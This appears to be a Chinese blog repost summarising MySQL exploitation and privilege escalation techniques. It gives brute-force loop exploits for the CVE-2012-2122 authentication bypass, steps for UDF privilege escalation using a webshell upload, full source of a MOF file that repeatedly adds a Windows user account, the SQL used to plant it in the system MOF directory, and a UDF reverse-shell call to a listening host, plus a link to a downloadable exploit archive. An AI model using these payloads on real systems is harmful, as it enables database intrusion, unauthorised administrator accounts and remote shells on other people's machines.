mysql udf提权_mysql数据库漏洞利用及提权方式小结

转先知社区 作者:ghtwf01

CVE-2012-2122 Mysql身份认证漏洞

影响版本

Mysql5.5.24之前MariaDB也差不多这个版本之前

漏洞原理

只要知道用户名,不断尝试就能够直接登入SQL数据库,按照公告说法大约256次就能够蒙对一次

漏洞复现

msf利用

73185b935a4f89204c4778fab5ff00a2.png

hash解密

48776cda85864c770c4acf55970d1bc8.png

得到密码即可登录

f0568da38823069556faa5e674a04684.png

python exp
#!/usr/bin/pythonimport subprocesswhile 1:subprocess.Popen("mysql -u root -p -h 192.168.0.16 --password=test", shell=True).wait()

e4a5435d0f87f50cb8180266a373b832.png

shell exp
for i in `seq 1 1000`; do mysql -u root -p -h 192.168.0.16 --password=bad 2>/dev/null; done

772a34eaf53b6bed658d5e63ed5d24b8.png

Mysql UDF提权

如果mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下
如果mysql版本小于5.1,udf.dll文件在windows server 2003下放置于c:\windows\system32目录,在windows server 2000下放置在c:\winnt\system32目录

利用sqlmap进行UDF提权

7f44c354eeacc12cfe79835ffe16028c.png

利用msf进行UDF提权

使用mysql_udf_payload模块
适应于5.5.9以下,我这边的mysql版本号为5.5.53,已经超出了版本限制,所以不能提权

手工UDF提权

这里上传使用暗月的木马

6b080511aa1a5aaff765797b41eda984.png

这作者牛逼牛逼登录进去,它会自动判断mysql版本决定出导出dll文件位置

ce91832fc90784a8170bf427430b6368.png

然后导出udf,发现没有plugin这个目录

74a398ec62345816dbaaf95d29aa59b1.png

于是我们创建后就能成功导出

8254aa1c110cae9e71eba23e74d45487.png

但是一直找不到文件。。,最后使用其它的udf提权文件发现可以,原来是这个udf文件问题,这下便能执行命令

af39d8a6ce0fca4d76feaa125e9f216d.png

添加管理员,开启3389等。。这里就略过
既然知道了mysql账号密码当然也可以直接连接上去,然后上传文件,执行命令

Mysql MOF提权

直接上传文件MOF提权

直接上传mof.php文件登录后执行任意命令

0c6031f247327fd90ba7c72691a3ec17.png

bda0d14fa13c806dde79ac21495175b4.png

利用msf进行MOF提权

使用mysql_mof模块,有的版本不能成功,比如我现在这个phpstudy搭建的5.5.53

上传nullevt.mof文件进行MOF提权

nullevt.mof文件源码

#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user ghtwf011 ghtwf01 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

他会每五秒创建一个账户ghtwf011,里面命令可以自定义
使用sql语句将文件导入到c:/windows/system32/wbem/mof/

select load_file("C:/phpstudy/WWW/nullevt.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

注意这里不能使用outfile,因为会在末端写入新行,因此mof在被当作二进制文件无法正常执行,所以我们用dumpfile导出一行数据

ce624392c982050713722a2131cbcc64.png

成功生成了ghtwf011账户

75b2fc804108a39de1bd606892dd3328.png

因为每五秒都会生成账户,痕迹清理的时候使用如下办法即可

net stop winmgmt
net user ghtwf011 /delete
切换到c:/windows/system32/wbem后del repository
net start winmgmt

Mysql反弹端口提权

原理就是声明一个backdoor函数
exp如下,exp太长了文章发不出来。。我附件出来吧

第二条定义的@audf.dll内容的16进制
依次执行命令kali使用nc监听,这边执行select backshell("192.168.0.12",4444);

42ba5e35f11ff9ed8b24b60d9fafd6a0.png

3f41681306a446bf90aa331405b58b4c.png

成功提权拿到shell

参考链接

https://www.freebuf.com/vuls/3815.html
https://xz.aliyun.com/t/2719#toc-14

a1fd4aad75aeda3429010cbf723d10fa.pngexp.rar (0.062 MB) 下载附件

https://xzfile.aliyuncs.com/upload/affix/20200313113902-2e4ffe06-64dc-1.rar

3e954ac3a505ec206ea288ca984dfe1f.gif

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值